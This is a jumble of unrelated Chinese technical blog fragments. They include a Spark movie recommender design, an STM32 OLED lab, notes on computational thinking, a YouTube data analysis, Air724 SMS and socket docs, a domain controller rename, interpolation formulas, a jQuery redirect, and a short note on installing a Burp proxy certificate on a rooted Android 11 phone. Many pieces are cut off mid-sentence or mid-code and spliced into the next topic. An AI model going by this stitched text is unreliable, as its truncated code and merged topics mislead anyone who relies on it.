文章目录 系统需求分析以及流程设计需求数据源流程图数据存储及表的设计 实验环境搭建主要环境 数据加载转换以及存储数据读取数据处理数据存储 TopN基于模型的推荐算法结果处理及存储 基于物品的推荐算法 系统需求分析以及流程设计 需求 基于spark集群实现离线电影推荐推荐结果可以可视化(未实现) 数据源 包括两个数据文件,分别是ratings.dat和movies.dat。
首先是ratings.dat,用户评分数据记录表。包含了用户对电影的评分信息。
然后是movies.dat,电影信息表。包含了电影名电影类型等基本信息。
流程图 数据存储及表的设计 底层存储hdfs
存储着原始数据
movies.dat
ratings.dat
数据仓库hive
读取hdfs数据并进行初步处理,再存入moviedata数据库相关表中。
(1) movies表
存放处理后的movies数据,有5个字段。movieid(Int电影id号)、moviename(String电影名称)和genre(String 电影类型),ratingtimes(Int电影评分人数)和avgratings(Float 电影平均评分)。
(2) ratings表
存放处理后的ratings数据,有四个字段。userid(Int 用户id), movieid(Int 电影id), rating(Float 电影评分), timestampss (Int 时间戳)。
业务数据库mysql
推荐产生的结果,以及用户信息和电影信息都存储在数据库movieslen中。
(1)moviesrecommend表
moviesrecommend存放基于模型的电影推荐结果。包含两个字段,分别是userid(用户id号)和moviesid(包含推荐电影id号的字符串)。
(2)movies表
movies表,电影基本信息表。有5个字段。movieid(电影id号)、moviename(电影名称)和genre(电影类型),ratingtimes(电影评分人数)和avgratings(电影平均评分)。
(3)topn表
topn,存放综合排名前100的电影信息。表有五个字段。movieid(电影id号)、moviename(电影名称)和genre(电影类型),ratingtimes(电影评分人数)和avgratings(电影平均评分)。用于未登录页面的信息展示。
(4)userinfo表
userinfo表存储用户信息,包含3个字段分别是userid(用户id号)、username(用户名)和userpass(用户密码)。
实验环境搭建 主要环境 本实验是基于Spark的电影推荐系统,Spark的运行模式采用Spark on Yarn模式。所以需要在虚拟机上部署分布式Hadoop集群,同时需要安装Hive作为数据仓库,Hive底层将数据存储在HDFS上,配置MySQL存储Hive元数据。
虚拟机:VMware
1)服务器规划(虚拟机为CentOS7):
master 分配2G内存,1核
slave1 分配1G内存,1核
slave2 分配1G内存,1核
2)hdfs搭建
master 上搭建namenode,secondary namenode
slave1 上搭建datanode
slave2 上搭建datanode
3)Yarn搭建
1.1 实验目的 如何使用OLED模块。
如何在STM32CubeMX中配置IIC。
1.2 实验设备 STM32F4控制板,OLED模块 1.3 相关知识点 用于实验的设备原理图如下:
OLED:OLED是有机发光二极管的简称,OLED 由于同时具有自发光、不需要背光源、对比度高、厚度薄、视角广、反应速度快、构造及制作过程较简单等优点,得到了广泛应用。本节课我们使用的OLED 模块为0.96寸的,分辨率为12864,使用IIC接口方式,只需要两根线就可以控制OLED。通俗的来说,分辨率12864可以看成整个屏幕由12864个LED组成,整个屏幕通过每个LED的亮灭组合形成指定的图案。
IIC: IIC(Inter-Integrated Circuit)总线是一种由 PHILIPS 公司开发的两线式串行总线,用于连接微控制器及其外围设备。它是由数据线 SDA 和时钟线 SCL 构成的串行总线,可发送和接收数据。在 CPU 与被控 IC 之间、IC 与 IC 之间进行双向传送,高速 IIC 总线一般可达 400kbps 以上。I2C 总线在传送数据过程中共有三种类型信号, 它们分别是:开始信号、结束信号和应答信号。
开始信号:SCL 为高电平时,SDA 由高电平向低电平跳变,开始传送数据。
结束信号:SCL 为高电平时,SDA 由低电平向高电平跳变,结束传送数据。
应答信号:接收数据的 IC 在接收到 8bit 数据后,向发送数据的 IC 发出特定的低电平脉冲,表示已收到数据。CPU 向受控单元发出一个信号后,等待受控单元发出一个应答信号,CPU 接收到应答信号后,根据实际情况作出是否继续传递信号的判断。若未收到应答信号,判断为受控单元出现故障。IIC 总线时序图如下图所示。
IIC使用时又分为硬件IIC和软件IIC,硬件I2C对应芯片上的I2C外设,有相应I2C驱动电路,其所使用的I2C管脚也是专用的;软件I2C一般是用GPIO管脚,用软件控制管脚状态以模拟I2C通信波形。硬件I2C的效率要远高于软件的,而软件I2C由于不受管脚限制,接口比较灵活。软件I2C 是通过GPIO,软件模拟寄存器的工作方式,而硬件(固件)I2C是直接调用内部寄存器进行配置。
SSD1306:SSD1306是OLED模块上采用的驱动IC芯片。SSD1306 的每页包含了128个字节,总共8页,这样刚好是12864的点阵大小。SSD1306的命令很多,下面简单介绍几个命令。(更多指令可以查看SSD1306的指令表)
0XAE/0XAF命令,0XAE 为关闭显示命令;0XAF 为开启显示命令。
0X8D命令,该指令包含 2 个字节,第一个为命令字,第二个为设置值,第二个字节的 BIT2 表示电荷泵的开关状态,该位为 1,则开启电荷泵,为 0 则关闭。在模块初始化的时候,这个必须要开启,否则是看不到屏幕显示的。 0X81,用于设置对比度的,这个命令包含了两个字节,第一个 0X81 为命令,随后发送的一个字节为要设置的对比度的值。这个值设置得越大屏幕就越亮。 当我们向其中写入这些命令时,就可以控制OLED的状态。ASCII码:在计算机中,所有的数据在存储和运算时都要使用二进制数表示,例如,像a、b、c、d这样的52个字母(包括大写)以及0、1等数字还有一些常用的符号,例如*、#、@等在计算机中存储时也要使用二进制数来表示,而具体用哪些二进制数字表示哪个符号,每个人都可以约定自己的一套(编码),而大家如果要想互相通信而不造成混乱,那么大家就必须使用相同的编码规则,于是美国有关的标准化组织就出台了ASCII编码,统一规定了上述常用符号用哪些二进制数来表示。标准ASCII码也叫基础ASCII码,大致可以分作两部分組成。第一部分是:ASCII非打印控制字符,0~31及127(共33个)是控制字符或通信专用字符。 第二部分是:ASCII打印字符;32–126 为可显示字符,总共有 95 个,从空格符开始,
什么是计算思维?周以真于2006年3月首次提出的计算思维有着怎样的定义?下面是学习啦小编整理的计算思维的定义相关资料,一起来看看吧!
计算思维的定义
2006年3月,美国卡内基·梅隆大学计算机科学系主任周以真(Jeannette M. Wing)教授在美国计算机权威期刊《Communications of the ACM》杂志上给出,并定义的计算思维(Computational Thinking)。周教授认为:计算思维是运用计算机科学的基础概念进行问题求解、系统设计、以及人类行为理解等涵盖计算机科学之广度的一系列思维活动。
以上是关于计算思维的一个总定义,周教授为了让人们更易于理解,又将它更进一步地定义为:通过约简、嵌入、转化和仿真等方法,把一个看来困难的问题重新阐释成一个我们知道问题怎样解决的方法;是一种递归思维,是一种并行处理,是一种把代码译成数据又能把数据译成代码,是一种多维分析推广的类型检查方法;是一种采用抽象和分解来控制庞杂的任务或进行巨大复杂系统设计的方法,是基于关注分离的方法(SoC方法);是一种选择合适的方式去陈述一个问题,或对一个问题的相关方面建模使其易于处理的思维方法;是按照预防、保护及通过冗余、容错、纠错的方式,并从最坏情况进行系统恢复的一种思维方法;是利用启发式推理寻求解答,也即在不确定情况下的规划、学习和调度的思维方法;是利用海量数据来加快计算,在时间和空间之间,在处理能力和存储容量之间进行折衷的思维方法。
计算思维的特征
1)概念化,不是程序化
计算机科学不是计算机编程。像计算机科学家那样去思维意味着远不止能为计算机编程,还要求能够在抽象的多个层次上思维。
2)根本的,不是刻板的技能
根本技能是每一个人为了在现代社会中发挥职能所必须掌握的。刻板技能意味着机械的重复。具有讽刺意味的是,当计算机像人类一样思考之后,思维可就真的变成机械的了。
3)是人的,不是计算机的思维方式
计算思维是人类求解问题的一条途径,但决非要使人类像计算机那样地思考。计算机枯燥且沉闷,人类聪颖且富有想象力。是人类赋予计算机激情。配置了计算设备,我们就能用自己的智慧去解决那些在计算时代之前不敢尝试的问题,实现“只有想不到,没有做不到”的境界。
4)数学和工程思维的互补与融合
计算机科学在本质上源自数学思维,因为像所有的科学一样,其形式化基础建筑于数学之上。计算机科学又从本质上源自工程思维,因为我们建造的是能够与实际世界互动的系统,基本计算设备的限制迫使计算机学家必须计算性地思考,不能只是数学性地思考。构建虚拟世界的自由使我们能够设计超越物理世界的各种系统。
5)是思想,不是人造物
不只是我们生产的软件硬件等人造物将以物理形式到处呈现并时时刻刻触及我们的生活,更重要的是还将有我们用以接近和求解问题、管理日常生活、与他人交流和互动的计算概念;而且,面向所有的人,所有地方。 当计算思维真正融入人类活动的整体以致不再表现为一种显式之哲学的时候,它就将成为一种现实。
计算思维的优点和内容
计算思维吸取了问题解决所采用的一般数学思维方法,现实世界中巨大复杂系统的设计与评估的一般工程思维方法,以及复杂性、智能、心理、人类行为的理解等的一般科学思维方法。
优点
计算思维建立在计算过程的能力和限制之上,由人由机器执行。计算方法和模型使我们敢于去处理那些原本无法由个人独立完成的问题求解和系统设计。
内容
计算思维中的抽象完全超越物理的时空观,并完全用符号来表示,其中,数字抽象只是一类特例。
与数学和物理科学相比,计算思维中的抽象显得更为丰富,也更为复杂。数学抽象的最大特点是抛开现实事物的物理、化学和生物学等特性,而仅保留其量的关系和空间的形式,而计算思维中的抽象却不仅仅如此。
看过“计算思维的定义和特征是什么”的人还看了:
电脑配置一般CPU、显卡、主板、内存、硬盘、显示器等等,一般台式电脑对电脑配置的要求要高一些,相信很多男生打游戏也比较在乎配置,那你对你电脑的配置了解多少呢?可能连查看都不知道该怎么操作吧,下面,小编就来跟大家介绍查看电脑配置的操作方法。
很多人购买电脑都会问店员电脑配置是怎样的,都要检查硬件是否符合要求,避免不必要的麻烦,虽然事先了解是很好的,但是电脑组装起来也是非常容易的,谁知道会不会被掉包一个重要零件呢?那么怎么查看电脑配置?下面,小编就来跟大家聊聊查看电脑配置的操作了。
怎么查看电脑配置
方法一:通过计算机属性查看电脑配置
在系统桌面上右键点击”我的电脑”(这台电脑/计算机),选择“属性”
电脑配置电脑图解1
在系统属性可以查看“处理器”和“安装内存”两个信息,以及安装系统的版本和位数,如果要看显卡,则点击左上角“设备管理器”
电脑电脑图解2
展开“处理器”和“显示适配器”,查看处理器几核心、频率和显卡的型号信息。
电脑电脑图解3
方法二:自带DirectX诊断工具查询电脑配置
按下Win+R组合键打开运行对话框
查看配置电脑图解4
在运行输入框中输入dxdiag,确定,打开DirectX诊断工具
电脑电脑图解5
在“系统”选项卡中查看处理器参数、内存容量、BIOS版本和DirectX版本
电脑配置电脑图解6
在“显示”选项卡中查看“显卡”的型号和参数信息。
查看电脑配置电脑图解7
方法三:硬件检测工具查询硬件配置信息
第三方的硬件检测工具,比如电脑管家、360硬件大师、鲁大师等;
这边使用鲁大师为例,点击“硬件检测”,即可查询电脑各个硬件的详细信息
查看配置电脑图解8
如果要查看某个硬件的信息,只需点击左侧栏目的项,比如主板信息、显示器信息、处理器信息、硬盘信息、显卡信息等等。
以上就是查看电脑配置的操作方法。
YouTube视频数据分析报告 一.数据来源及内容 Kaggle 是一个流行的数据科学竞赛平台。由 Goldbloom 和 Ben Hamner 创建于 2010 年(官网地址:Your Home for Data Science)。
数据来源于kaggle的公开数据。该数据集包含有关YouTube每日热门视频的数据。Kaggle提供的数据集包括了4个国家的热门Youtubo视频的每日记录,每个国家的数据文件为一个csv文件以及一个json文件。(CA加拿大 DE 德国 GB 英国 US 美国)
Csv文件:
Video_id视频id字符串Trending_date视频上榜的日期字符串title视频标题字符串Channel_titie所属频道标题字符串Category_id所属类别编号整型Publish_time视频发布时间时间类型tags视频标签字符串views观看次数整型likes点赞次数整型dislikes被踩次数整型Comment_count评论次数整型Comments_disabled评论是否被关闭布尔值Ratings_disabled打分是否关闭布尔值Video_error_or_removed视频出错或者被删布尔值description视频详情字符串 Json文件:
包含了category_id用于Csv文件的category_id做匹配,从而获取category的标题。
数据问题简单分析 1)统计所得 1、利用极值可以解决诸如以下的问题:
哪类视频播放量最高/最低? 哪类视频评论率最高/最低? 哪类视频的点赞率最高/最低? 2、利用箱型图可以描述不同类别的总体情况:
各类视频的观看数、点赞数、评论数的总体情况 3、利用正态分布可以:
得知观看数、点赞数、不喜欢数、评论数等分别是否符合正态分布, 进而可以再验证它们之间是否存在线性相关 2)问题分析 1、用户最感兴趣的是什么类别的视频?最不感兴趣的是什么类别的视频?
2、视频的发布日期和被推荐日期之间是否存在某种关系?
3、视频的标签数越多越好么?视频描述越详细越好么?
4、不同类型电影的上榜数量?不同类型电影的热度如何?
5、发布时间是如何分布的?从发布到上榜的时间差?
6、不同类型之间有区别吗?标签的长短与热度有关系吗?
7、喜欢,不喜欢,评论,甚至关评论等等之间与观看有没有什么关系?
8、不同类别之间,喜欢,不喜欢,评论和观看是怎么样的?
3)重要字段 1.时间:
trending\_date(推荐日期) publish\_time(发布时间) 2.内容类型:
channel\_title(频道) category\_id(类型id) 3.用户反馈数据:
views(观看数) likes(点赞数) dislikes(不喜欢数) comment\_count(评论数) 数据导入与预处理(本节以US数据为主) 1导包
import pandas as pd import numpy as np import os import json import csv import seaborn as sns import matplotlib.
一、实验目的 (1)进一步熟悉 TEC-8 模型计算机的数据通路的结构;
(2)进一步掌握数据通路中各个控制信号的作用和用法;
(3)掌握数据通路中数据流动的路径。
二、实验任务 1. 将数75H写到寄存器R0,数28H写到寄存器R1,数89H写到R2,数32H写到R3。 2. 将寄存器R0中的数写入存储器20H单元,将寄存器R1中的数写入存储器21H单元,将寄存器R2中的数写入存储器22H单元,将寄存器R3中的数写入存储器23H单元。 3.从存储器20H单元读出数到存储器R3,从存储器21H单元读出数到存储器R2,从存储器21H单元读出数到存储器R1,从存储器23H单元读出数到存储器R0。 三、实验结果 在表3-2中记录实验结果。
实验过程: 将控制器转换开关拨到微程序位置,将编程开关设置为正常位置。打开电源。指示灯µA5 ~µA0显示00H。将操作模式开关设置为SWC=1、SWB=1、SWA=1(即1111)按一次QD按钮指示灯µA5 -µA0显示0FH。在数据开关SD7~SD0上设置数75H。按一次QD按钮在指示灯µA5 -µA0显示32H时,在指示灯B7~B0观测寄存器R0的值,将数28H写入R1(即SD7-SD设28H,按QD)在指示灯µA5 -µA0显示33H时,在指示灯B7B0上观测R1的值,将数89H写入R2(SD7SD0设89H,按QD);在指示灯µA5~ µA0显示34H时,在指示灯B7B0上观测R2的值,将数32H写入R3(SD7SD0设32H,按QD)。指示灯µA5 -µA0显示35H, 在数据开关SD7~SD0上设置地址20H。按一次QD按钮指示灯µA5 -µA0显示36H,指示灯A7A0、B7B0和D7~D0都显示寄存器R0的值。按一次QD按钮,将R0中的数写入存储器20H单元在指示灯µA5-µA0显示37H时,在INS7~INS0上观测存储器20H单元的值,按QD按钮,将R1中的数写入存储器21H单元;在指示灯µA5-µA0显示38H时,在INS7~INS0上观测存储器21H单元的值,按QD按钮,将R2中的数写入存储器22H单元在指示灯µA5-µA0显示39H时,在INS7~INS0上观测存储器22H单元的值,按QD按钮,将R3中的数写入存储器23H单元。指示灯µA5-µA0显示3AH,在数据开关SD7~SD0上设置地址20H。按一次QD按钮指示灯µA5-µA0显示3BH,此时指示灯AR7AR0和PC7PC0显示20H,指示灯D7~D0和INS7-INS0同时显示存储器20H中的数,按一次QD按钮在指示灯µA5-µA0显示3CH时,在指示灯B7~B0上观测R3的值,按QD按钮,将存储器21H单元中的数写入寄存器R2;在指示灯µA5-µA0显示3DH时,在指示灯B7~B0上观测R2的值,按QD按钮,将存储器22H单元中的数写入寄存器R1;在指示灯µA5-µA0显示3EH时,在指示灯B7~B0上观测R1的值,按QD按钮,将存储器23H单元中的数写入寄存器R0。指示灯µA5-µA0显示00H。此时指示灯A7A0显示R0的值,指示灯B7B0显示R3的值。
电脑切换界面的快捷键是什么呢,一般系统上都有好几种可以切桌面的方法,切换窗口是我们经常会用到的,要是不会使用切换桌面的快捷键的话,方法很简单不难,下面小编给大家分享使用电脑切换桌面快捷键的方法步骤。
解决方法:
1、Alt+Tab快捷键。
同时按下Alt+Tab组合键快速切换,按住不能松开,想要打开哪个窗口就按几次,到达要打开的窗口松开即可完成。
2、win+tab快捷键。
同时按下win+tab组合键后,可以直接用鼠标点击想要打开的窗口,win+tab相比alt+tab可以通过点击任务更快的选择所要进行的任务。
3、Win+L快捷键:快速锁屏。
电脑存放着重要的文件资料,人走开电脑没关的情况下,还是要养成锁屏的好习惯。
4、Win+D/M快捷键:快速回到桌面。
win+d:在按了第一次后会快速的显示桌面(最小化所有任务窗口),而再按一次就可以恢复到原来的窗口。
win+m:使用这个快捷键后可以快速的最小化所有窗口,并且在使用后不能像win+d一样恢复之前的窗口,只能手动打开窗口。
以上就是电脑切换桌面快捷键的使用方法,有不会使用切换桌面快捷键的话,可以按上面的方法来进行使用。
我要分享到:
记录下安卓11上安装Burp证书的过程:
安卓11下无法直接将Burp证书安装到/system/etc/security/cacerts下,会提示remote couldn't create file: Read-only file system,按低版本的方式去重新Remount也无法成功,找到下面的安装证书方法:
手机解锁BootLoader和Root。直接参考网上教程
给手机配置上Burp的代理地址,下载Burp证书,安装至用户凭据
在Magisk上安装Move Certificates模块,安装成功后用户分区的所有证书默认会导入到系统分
到「受信任的凭据」下,可以看到已经安装成功了
参考文章:https://blog.csdn.net/fjh1997/article/details/106756012
1.含义:
数据挖掘:指从大量的数据中,通过统计学、人工智能、机器学习等方法,挖掘出未知的、且有价值的信息和知识的过程。
数据分析:可分为广义的数据分析和狭义的数据分析。广义的数据分析就是包括狭义的数据分析和数据挖掘。而我们常说的数据分析指的是狭义的数据分析。它指根据分析目的,用适当的统计分析方法与工具,对收集来的数据进行处理与分析,提取有价值的信息,发挥数据的作用。
2.区别:
(1)“数据分析”的重点是观察数据,而“数据挖掘”的重点是从数据中发现“知识规则”(KDD);
(2)“数据分析”得出的结论是人的智力活动结果,而“数据挖掘”得出的结论是机器从学习集(或训练集、样本集)发现的KDD,可以直接用于预测;
(3)“数据分析”不能建立数学模型,需要人工建模,而“数据挖掘”直接完成了数学建模,可通过机器学习自动建立输入与输出的函数关系,根据KDD得出的“规则”,给定一组输入参数,就可以得出一组输出量。
(4)“数据分析”主要采用对比分析、分组分析、交叉分析、回归分析等分析方法,通过得到的指标统计量结果,如总和、平均值等,而这些指标数据都需要与业务结合进行解读才能发挥出数据的价值和作用。而“数据挖掘”主要侧重解决分类、聚类、关联和预测四类问题,通过采用决策树、神经网络、关联规则、聚类分析、机器学习等方法进行挖掘,输出模型或规则并且可相应得到模型得分或标签。
3.联系:
从两者的理论来源来看,它们都来源于统计基础理论,因此它们的很多方法在很多情况下都是同根同源的。例如,概率论和随机事件是统计学的核心理论之一,统计分析中的抽样估计需要应用该理论,而数据挖掘技术的朴素贝叶斯分类就是这些统计理论的发展和延伸。
有的时候两者的一些方法还会出现混淆的情况,例如,主成分分析和回归分析。从严格意义上讲,这两种分析方法都属于数理统计分析方法,但在数据挖掘实战应用中也常常会用到这种方式,从这个角度讲,主成分分析和回归分析也是数据挖掘商业实战中常用的一种分析技术和数据处理技术。
4.工具:
数据分析:
Hadoop:能够对大量数据进行分布式处理的软件框架。它假设计算元素和存储会失败,会维护多个工作数据副本,以确保能够针对失败的节点重新分布处理,并且并行处理来加快处理速度,能够处理PB级数据。Spark:在Hadoop的基础上进行了一些架构上的改良,采用内存来存储数据,可提供超过Hadoop100倍的运算速度。但由于内存断电后数据会丢失,因此不能处理需要长期保存的数据。Storm:Twitter主推的分布式计算系统。在Hadoop的基础上提供了实时运算的特性,可实时地处理大数据流。但是它不进行数据的收集和存储工作,它是直接通过网络实时地接收数据并实时地处理数据,然后直接通过网络实时地传回结果。 数据挖掘:
SAS:S完全以统计理论为基础,功能强大,有完备的数据探索功能。但难以掌握,要求高级统计分析专业人员。SPSS:一个开放式数据挖掘工具、资料探勘工具。不但支持整个数据挖掘流程,还支持数据挖掘的行业标准--CRISP-DM。相对于SAS易于掌握,要求有一定的统计分析基础。MATLAB:主要面对科学计算、可视化以及交互式程序设计的高科技计算环境。它将数值分析、矩阵计算、科学数据可视化以及非线性动态系统的建模和仿真等诸多强大功能集成在一个易于使用的视窗环境中。 5.过程
整个广义的数据分析过程包括:数据获取-->探索分析与可视化-->预处理-->分析建模-->模型评估
侵删
目录 短消息简介API说明示例常见问题1.如何开通VOLTE功能?2 .物联网卡支持短信功能吗?3.支持移动、电信,联通卡的短信功能吗?4.移动、电信,联通卡的短信功能支持情况列表 相关资料以及购买链接 短消息 简介 对于仅支持 4G网络 的 CAT1模块(Air720UG、Air724UG)而言,移动,联通卡不需开通VOLTE可以支持短信功能,电信卡只有sim卡开通VOLTE 功能才能使用短信功能。
而 Air720UH 模块同时支持 4G 和 2G网络,2G 网络本身支持短信功能,所以不需要打开 VOLTE 就可以使用短信功能。
可以通过登录运营商APP、登录运营商网站、或者拨打运营商客服电话,确认开通VOLTE功能
API说明 API接口描述sms.send(num, data, [cbFnc], [idx])发送短信,将短信插入到发送缓冲区队列中,按顺序发送sms.setNewSmsCb(cbFnc)注册短信接收的回调函数 详细的API介绍见sms API章节
示例 点我去看lua版本发送短消息的示例
常见问题 1.如何开通VOLTE功能? 对于仅支持 4G网络 的 CAT1模块(Air720UG、Air724UG)而言,移动,联通卡不需开通VOLTE可以支持短信功能,电信卡只有sim卡开通VOLTE 功能才能使用短信功能。
如何开通VOLTE功能,有如下几种方式:
登录运营商手机端app开通登录运营商官网开通拨打运营商客服电话开通 2 .物联网卡支持短信功能吗? 一般来说,物联网卡是不支持短信功能的,具体需要咨询物联网卡供应商
3.支持移动、电信,联通卡的短信功能吗? 支持,电信sim卡必须开通VOLTE功能
4.移动、电信,联通卡的短信功能支持情况列表 固件是否支持VOLTE可以通过固件名称判断,带有NOVOLTE标志的,说明不支持VOLET。也可以通过AT口发送AT+SETVOLTE?查询,0 表示关闭VOLET,1表示打开VOLET功能。
模块卡固件是否支持VOLTE是否支持短信功能720UH移动卡是是720UH移动卡否是720UH联通卡是是720UH联通卡否是720UH电信卡是是720UH电信卡否是724UG移动卡是是724UG移动卡否是724UG联通卡是是724UG联通卡否是724UG电信卡是是,卡要开通VOLTE功能724UG电信卡否否 相关资料以及购买链接 Air724UG开发板
Air724 开发板使用说明
目录 socket简介API说明实现流程同步与异步示例开机与连接网络连接服务器socket发送与接收消息 常见问题连接服务器失败最多同时支持多少个连接socket异常的情况排查tcp连接,心跳包建议多长时间一次专网卡需要将那些地址添加到白名单 相关资料以及购买链接 socket 简介 套接字(socket)是通信的基石,是支持TCP/IP协议的路通信的基本操作单元。可以将套接字看作不同主机间的进程进行双间通信的端点,它构成了单个主机内及整个网络间的编程界面。套接字存在于通信域中,通信域是为了处理一般的线程通过套接字通信而引进的一种抽象概念。套接字通常和同一个域中的套接字交换数据(数据交换也可能穿越域的界限,但这时一定要执行某种解释程序),各种进程使用这个相同的域互相之间用Internet协议簇来进行通信
API说明 socket的API在luat lib有做封装,建议直接用lib的API接口。
API接口描述socket.isReady()检测模块是否注册上网络,socket是否可用socket.tcp()创建基于TCP的socket对象socket.udp()创建基于UDP的socket对象mt:connect()连接服务器mt:asyncSelect()异步收发选择器mt:asyncRecv()异步发送数据mt:send()发送数据mt:recv()接收数据mt:close()销毁一个socketsocket.setTcpResendPara()设置TCP层自动重传的参数socket.setDnsParsePara()设置域名解析参数socket.printStatus()打印所有socket的状态 详细的API介绍见socket API章节
实现流程 创建任务
通过sys.taskInit() 创建一个协程。等待网络就绪
采用socket.isReady()这个接口阻塞操作,程序运行到这里会进入等待直到底层网络注册完成,网络状态就绪,否则等待至超时。创建一个对象
luat的socket操作是一个面向对象的操作所以首先使用socket.tcp(ssl, cert)创建一个对象。连接服务器
然后使用mt:connect(address, port, timeout)连接服务器发送 同步方式
使用mt:send(data)接口即可发送数据,因为同步方式大多数时间都是阻塞在接收部分的,所以根据前文同步接收数据的说明可以通过配置msg退出阻塞,然后发送数据。可以参考demo做法。在rev配置msg为pub_msg然后通过其他协程使用sys.publish向pub_msg发送数据,退出阻塞以后直接发送。异步方式
异步方式也相对简单直接使用mt:asyncSend(data)发送即可。需要说明的一件事是异步方式没有timeout所以心跳需要自己维护或者使用mt:asyncSelect(keepAlive, pingreq)配置心跳时间及内容。 接收 同步方式
同步方式采用mt:recv(timeout, msg, msgNoResume)这个接口阻塞操作,程序运行到这里会进入等待直到满足条件才会退出。异步方式
异步采用mt:asyncRecv()接口接收数据,相对于同步方式,异步的参数及返回值相对简单,使用时无需传递参数,返回值直接就是收到的数据。 同步与异步 在脚本目录的demo/socket文件夹里有两种示例代码,async是异步socket,sync是同步socket
同步:
同步的思想是:所有的操作都做完,才返回给用户。这样用户在线等待的时间太长,给用户一种卡死了的感觉(就是系统迁移中,点击了迁移,界面就不动了,但是程序还在执行,卡死了的感觉)。这种情况下,用户不能关闭界面,如果关闭了,即迁移程序就中断了。异步:
将用户请求放入消息队列,并反馈给用户,系统迁移程序已经启动,你可以关闭浏览器了。然后程序再慢慢地去写入数据库去。这就是异步。但是用户没有卡死的感觉,会告诉你,你的请求系统已经响应了。你可以关闭界面了。 同步和异步本身是相对的
同步就相当于是 当客户端发送请求给服务端,在等待服务端响应的请求时,客户端不做其他的事情。当服务端做完了才返回到客户端。这样的话客户端需要一直等待。用户使用起来会有不友好。
异步就是,当客户端发送给服务端请求时,在等待服务端响应的时候,客户端可以做其他的事情,这样节约了时间,提高了效率。
存在就有其道理 异步虽然好 但是有些问题是要用同步用来解决,比如有些东西我们需要的是拿到返回的数据在进行操作的。这些是异步所无法解决的。所以请根据实际需求选择。
示例 相关实例程序在脚本库的demo\socket文件夹下,包含同步异步以及tcp到串口透传实例。可以根据实际需要选择demo进行研究。
开机与连接网络 以\script_LuaTask_V2.3.2\demo\socket\sync\sendInterruptRecv目录的demo作为基础进行修改。demo中在开机以后进入正式应用的一开始使用了一个while进行循环阻塞判断。socket.isReady()表示网络连接是否可用,可用即为true,不可以为false。
-- tcp test sys.taskInit(function() local r, s, p local recv_cnt, send_cnt = 0, 0 while true do while not socket.isReady() do sys.
一、示例:变更AD计算机名称为DC12,原计算机名为SRV12
以管理员身份打开命令行窗口,运行命令:netdom computername SRV12.corp.sxleilong.com /add:DC12.corp.sxleilong.com 添加一个备用的名称
执行命令:netdom computername SRV12.corp.sxleilong.com /makeprimary:DC12.corp.sxleilong.com设定备用名称为主计算机名称,然后重启
重启后可以看到AD的FQDN已经更改过来,接下来执行:netdom computername DC12.corp.sxleilong.com /remove:SRV12.corp.sxleilong.com移除旧的计算机名称
接下来根据实际需要再进行:Update the FRS or DFS Replication Member Object(我这里实验环境不做演示)
二、变更AD计算机IP地址。
AD计算机名称为AD,IP地址和DNS地址均为192.168.1.1,默认网关为192.168.1.2,变更为192.168.2.0/24网段的。
首先先将AD的IP和默认网关更改过来,DNS是127.0.0.1本身就指向自己就不用修改了
重新启动Netlogon服务器,并重新进行DNS注册
打开DNS服务管理控制台,删除所有有关原IP地址的主机A记录。也就是192.168.1.0/24网段的全删。
同时,也需要删除所有的反向查找区域中的原IP主机A记录。并建立新的反向区域,和添加PTR记录到该域控制器。我这里没有建立反向查找区域就减少了很多步骤。
重新启动服务器,运行dcdiag诊断工具诊断一切正常。
说明:因为本台域控也是DNS服务器,所以,在加入域的机器上也需要更改DNS地址。特别注意,实际生产环境中不建议更改AD的IP或者计算机名称,因为更改后极有可能导致一些正式服务器无法正常工作,所以,务必慎重。
大家都是怎么学习图像处理,这些公式和图形,有什么书能讲解这些知识?推荐一些吧!!!!
单线性插值 已知P1点和P2点,坐标分别为(x1, y1)、(x2, y2),要计算 [x1, x2] 区间内某一位置 x 在直线上的y值
2点求一条直线公式
由于 x 值已知,所以可以从公式得到 y 的值
已知 y 求 x 的过程与以上过程相同,只是 x 与 y 要进行交换。
由于像素间距离 x2-x1=1
所以设 a=x2-x 那么 x-x1=1-a;
y=ay1+(1-a)y2
双线性插值 在两个方向分别进行一次线性插值。
我们以一个例子来介绍双线性插值原理:假如我们想得到未知函数f在点P=f(x, y)的值,设f在Q11=(x1, y1),Q12=(x1, y2),Q21=(x2,y1),Q22=(x2,y2)四个点的值。
首先在x方向上面线性插值,得到R2、R1:
然后以R2,R1在y方向上面再次线性插值:
这样就得到所要的结果 f(x, y)
因为双线性插值只会使用相邻的4个点,因此分母总是为1,故可以约去;那么插值公式就可以化简为
由于插值点不一定是整数,例如点(1.2, 3.4),其相邻的四个点分别为(1,3),(2,3),(1,4),(2,4);故可设插值点(x,y)由(i+u,j+v)点表示,其中的u,v为坐标的小数部分,取值为[0,1)。写成 f(i+u,j+v)的形式,则 u=0.2,v=0.4, i=1, j=3
可知其相邻点坐标分别为(i,j)、(i,j+1)、(i+1,j)、(i+1,j+1)四点。可得
例
给定一个矩阵(图片本身就是一种矩阵),将1个 3 ∗ 3 尺寸的矩阵使用最近邻插值法到 4 ∗ 4
源图像与目标图像坐标的对应关系如下式
dst[0,1]对应的src位置如下:
src_x = 0 * (3 / 4) = 0
本文将介绍如何使用jQuery延迟一段时间(比如3秒或5秒)后跳转到另一个页面。
使用Query延迟一段时间后,JavaScript setInterval()函数将用于跳转到另一个页面。
使用jQuery延迟5秒后跳转到另一个页面
使用jQuery延迟5秒后重定向到另一个页面
以下HTML标记由一个button和一个DIV组成,这个DIV包含一个用于显示倒计时计时器的SPAN元素。
另外为button分配了一个用来实现跳转的jQuery单击事件处理程序。
你将在 秒后跳转。
$(function () {
$("#btnRedirect").click(function () {
var seconds = 5;
$("#dvCountDown").show();
$("#lblCount").html(seconds);
setInterval(function () {
seconds--;
$("#lblCount").html(seconds);
if (seconds == 0) {
$("#dvCountDown").hide();
window.location = "http://www.webkaka.com/";
}
}, 1000);
}, );
}, );
在此单击事件处理程序内,JavaScript setInterval()函数被初始化为每1000毫秒执行一次,即每一秒执行一次。
每次执行JavaScript setInterval()函数时,它首先递减seconds变量的值,然后在倒数计时器HTML SPAN中显示其值,当seconds变量的值为0时,倒计时计时器结束,页面跳转到另一个页面。
效果如图
使用jQuery延迟5秒后跳转到另一个页面
